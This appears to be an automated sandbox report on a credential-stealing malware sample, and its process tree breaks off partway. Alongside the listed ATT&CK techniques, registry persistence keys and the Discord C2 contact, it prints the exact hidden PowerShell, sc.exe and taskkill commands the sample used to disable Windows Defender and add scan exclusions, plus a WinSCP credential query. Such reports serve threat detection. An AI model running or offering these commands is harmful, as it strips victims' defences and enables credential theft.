48feb8a3b09727dadae9231906df7aabd400609c8fa1fb9241c20ce82598dc4e

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\WinSyncSvc.exe\""	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\WinSyncSvc.exe\""	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	WinSyncSvc.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	WinSyncSvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	WinSyncSvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	WinSyncSvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	WinSyncSvc.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	WinSyncSvc.exe

Modifies Windows Defender notification settings 3 TTPs 5 IoCs

Windows Service

Modify Registry

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe

Windows security bypass 2 TTPs 2 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2772	powershell.exe
2152	powershell.exe
4972	powershell.exe
1124	powershell.exe
2452	powershell.exe
5900	powershell.exe
1964	powershell.exe
4952	powershell.exe
1124	powershell.exe
5900	powershell.exe
2772	powershell.exe
4972	powershell.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsDefenderHelper.exe	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSync.exe	attrib.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSync.exe	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSync.exe\:Zone.Identifier:$DATA	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe

Executes dropped EXE 1 IoCs

pid	Process
1828	WinSyncSvc.exe

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Windows security modification 2 TTPs 5 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	WinSyncSvc.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 13 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\MicrosoftEdgeSyncService = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\WinSyncSvc.exe"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\WindowsSecurityHealth = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\WinSyncSvc.exe"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\WinDefenderHelper = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\WinSyncSvc.exe"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderService = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\WinSyncSvc.exe"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeSyncService = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\WinSyncSvc.exe"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHostService = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\WinSyncSvc.exe"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\SysHostService = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\WinSyncSvc.exe"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\SearchIndexHelper = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\WinSyncSvc.exe"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\MicrosoftUpdateHelper = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\WinSyncSvc.exe"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\DWMCoreSvc = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\WinSyncSvc.exe"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSecurityHealth = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\WinSyncSvc.exe"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinDefenderHelper = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\WinSyncSvc.exe"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SearchIndexHelper = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\WinSyncSvc.exe"	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
16	discord.com

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4600	sc.exe
5096	sc.exe
2600	sc.exe
848	sc.exe
5648	sc.exe
2816	sc.exe
4928	sc.exe
3272	sc.exe
5388	sc.exe
1144	sc.exe
1172	sc.exe
1900	sc.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 3 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe:Zone.Identifier	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge.exe:Zone.Identifier	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe:Zone.Identifier	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe

Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3728	ipconfig.exe
4256	ipconfig.exe

Kills process with taskkill 8 IoCs

defense_evasion

pid	Process
3112	taskkill.exe
5788	taskkill.exe
5808	taskkill.exe
4796	taskkill.exe
5152	taskkill.exe
932	taskkill.exe
2644	taskkill.exe
2488	taskkill.exe

NTFS ADS 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe:Zone.Identifier	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe:Zone.Identifier	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge.exe:Zone.Identifier	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe\:Zone.Identifier:$DATA	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2772	powershell.exe
2772	powershell.exe
4952	powershell.exe
4952	powershell.exe
2772	powershell.exe
4952	powershell.exe
4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
2152	powershell.exe
2152	powershell.exe
2152	powershell.exe
4972	powershell.exe
4972	powershell.exe
4972	powershell.exe
1124	powershell.exe
1124	powershell.exe
2452	powershell.exe
2452	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2644	taskkill.exe
Token: SeDebugPrivilege	3112	taskkill.exe
Token: SeDebugPrivilege	2488	taskkill.exe
Token: SeDebugPrivilege	2772	powershell.exe
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeDebugPrivilege	932	taskkill.exe
Token: SeIncreaseQuotaPrivilege	2772	powershell.exe
Token: SeSecurityPrivilege	2772	powershell.exe
Token: SeTakeOwnershipPrivilege	2772	powershell.exe
Token: SeLoadDriverPrivilege	2772	powershell.exe
Token: SeSystemProfilePrivilege	2772	powershell.exe
Token: SeSystemtimePrivilege	2772	powershell.exe
Token: SeProfSingleProcessPrivilege	2772	powershell.exe
Token: SeIncBasePriorityPrivilege	2772	powershell.exe
Token: SeCreatePagefilePrivilege	2772	powershell.exe
Token: SeBackupPrivilege	2772	powershell.exe
Token: SeRestorePrivilege	2772	powershell.exe
Token: SeShutdownPrivilege	2772	powershell.exe
Token: SeDebugPrivilege	2772	powershell.exe
Token: SeSystemEnvironmentPrivilege	2772	powershell.exe
Token: SeRemoteShutdownPrivilege	2772	powershell.exe
Token: SeUndockPrivilege	2772	powershell.exe
Token: SeManageVolumePrivilege	2772	powershell.exe
Token: 33	2772	powershell.exe
Token: 34	2772	powershell.exe
Token: 35	2772	powershell.exe
Token: 36	2772	powershell.exe
Token: SeIncreaseQuotaPrivilege	4952	powershell.exe
Token: SeSecurityPrivilege	4952	powershell.exe
Token: SeTakeOwnershipPrivilege	4952	powershell.exe
Token: SeLoadDriverPrivilege	4952	powershell.exe
Token: SeSystemProfilePrivilege	4952	powershell.exe
Token: SeSystemtimePrivilege	4952	powershell.exe
Token: SeProfSingleProcessPrivilege	4952	powershell.exe
Token: SeIncBasePriorityPrivilege	4952	powershell.exe
Token: SeCreatePagefilePrivilege	4952	powershell.exe
Token: SeBackupPrivilege	4952	powershell.exe
Token: SeRestorePrivilege	4952	powershell.exe
Token: SeShutdownPrivilege	4952	powershell.exe
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeSystemEnvironmentPrivilege	4952	powershell.exe
Token: SeRemoteShutdownPrivilege	4952	powershell.exe
Token: SeUndockPrivilege	4952	powershell.exe
Token: SeManageVolumePrivilege	4952	powershell.exe
Token: 33	4952	powershell.exe
Token: 34	4952	powershell.exe
Token: 35	4952	powershell.exe
Token: 36	4952	powershell.exe
Token: SeIncreaseQuotaPrivilege	4952	powershell.exe
Token: SeSecurityPrivilege	4952	powershell.exe
Token: SeTakeOwnershipPrivilege	4952	powershell.exe
Token: SeLoadDriverPrivilege	4952	powershell.exe
Token: SeSystemProfilePrivilege	4952	powershell.exe
Token: SeSystemtimePrivilege	4952	powershell.exe
Token: SeProfSingleProcessPrivilege	4952	powershell.exe
Token: SeIncBasePriorityPrivilege	4952	powershell.exe
Token: SeCreatePagefilePrivilege	4952	powershell.exe
Token: SeBackupPrivilege	4952	powershell.exe
Token: SeRestorePrivilege	4952	powershell.exe
Token: SeShutdownPrivilege	4952	powershell.exe
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeSystemEnvironmentPrivilege	4952	powershell.exe
Token: SeRemoteShutdownPrivilege	4952	powershell.exe
Token: SeUndockPrivilege	4952	powershell.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 4924 wrote to memory of 4600	4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe	90
PID 4924 wrote to memory of 4928	4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe	91
PID 4924 wrote to memory of 3272	4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe	92
PID 4924 wrote to memory of 5096	4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe	93
PID 4924 wrote to memory of 932	4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe	98
PID 4924 wrote to memory of 2644	4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe	99
PID 4924 wrote to memory of 2488	4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe	100
PID 4924 wrote to memory of 3112	4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe	101
PID 4924 wrote to memory of 4952	4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe	102
PID 4924 wrote to memory of 2772	4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe	103
PID 4924 wrote to memory of 5388	4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe	104
PID 4924 wrote to memory of 2600	4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe	105
PID 4924 wrote to memory of 2152	4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe	117
PID 4924 wrote to memory of 3728	4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe	119
PID 4924 wrote to memory of 2288	4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe	120
PID 4924 wrote to memory of 4524	4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe	123
PID 4924 wrote to memory of 4256	4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe	124
PID 4924 wrote to memory of 4972	4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe	126
PID 4924 wrote to memory of 404	4924	2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe	127
PID 1828 wrote to memory of 1144	1828	WinSyncSvc.exe	137
PID 1828 wrote to memory of 1172	1828	WinSyncSvc.exe	138
PID 1828 wrote to memory of 848	1828	WinSyncSvc.exe	139
PID 1828 wrote to memory of 5648	1828	WinSyncSvc.exe	140
PID 1828 wrote to memory of 5788	1828	WinSyncSvc.exe	145
PID 1828 wrote to memory of 5152	1828	WinSyncSvc.exe	146
PID 1828 wrote to memory of 4796	1828	WinSyncSvc.exe	147
PID 1828 wrote to memory of 5808	1828	WinSyncSvc.exe	149
PID 1828 wrote to memory of 2452	1828	WinSyncSvc.exe	150
PID 1828 wrote to memory of 1124	1828	WinSyncSvc.exe	152
PID 1828 wrote to memory of 1900	1828	WinSyncSvc.exe	153
PID 1828 wrote to memory of 2816	1828	WinSyncSvc.exe	154

Views/modifies file attributes 1 TTPs 8 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5388	attrib.exe
1276	attrib.exe
4580	attrib.exe
3756	attrib.exe
4524	attrib.exe
404	attrib.exe
4256	attrib.exe
4880	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-27_798a82c33305f2e1fc8a96199c8bbd0a_akira_glassworm_rusty-stealer.exe"
1⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Modifies Windows Defender notification settings
- Windows security bypass
- Drops startup file
- Windows security modification
- Adds Run key to start application
- Subvert Trust Controls: Mark-of-the-Web Bypass
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4924
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4600
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4928
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3272
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sense
  2⤵
  - Launches sc.exe
  PID:5096
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im MsMpEng.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:932
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im SecurityHealthSystray.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2644
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im NisSrv.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2488
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im SgrmBroker.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force -EA SilentlyContinue; Set-MpPreference -DisableBehaviorMonitoring $true -Force -EA SilentlyContinue; Set-MpPreference -DisableBlockAtFirstSeen $true -Force -EA SilentlyContinue; Set-MpPreference -DisableIOAVProtection $true -Force -EA SilentlyContinue; Set-MpPreference -DisableScriptScanning $true -Force -EA SilentlyContinue; Set-MpPreference -DisableArchiveScanning $true -Force -EA SilentlyContinue; Set-MpPreference -MAPSReporting 0 -Force -EA SilentlyContinue; Set-MpPreference -SubmitSamplesConsent 2 -Force -EA SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -Command "Add-MpPreference -ExclusionPath 'C:\' -EA SilentlyContinue; Add-MpPreference -ExclusionPath $env:APPDATA -EA SilentlyContinue; Add-MpPreference -ExclusionPath $env:TEMP -EA SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2772
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5388
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:2600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -WindowStyle Hidden -NonInteractive -NoProfile -Command "Get-AppxPackage | ForEach-Object { $path = \"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\$($_.PackageFamilyName)\"; if(!(Test-Path $path)){New-Item -Path $path -Force | Out-Null}; Set-ItemProperty -Path $path -Name 'Enabled' -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } 2>$null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2152
- C:\Windows\system32\ipconfig.exe
  "ipconfig" /all
  2⤵
  - Gathers network information
  PID:3728
- C:\Windows\system32\reg.exe
  "reg" query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s
  2⤵
  PID:2288
- C:\Windows\system32\attrib.exe
  "attrib" +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
  2⤵
  - Views/modifies file attributes
  PID:4524
- C:\Windows\system32\attrib.exe
  "attrib" +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
  2⤵
  - Views/modifies file attributes
  PID:4256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
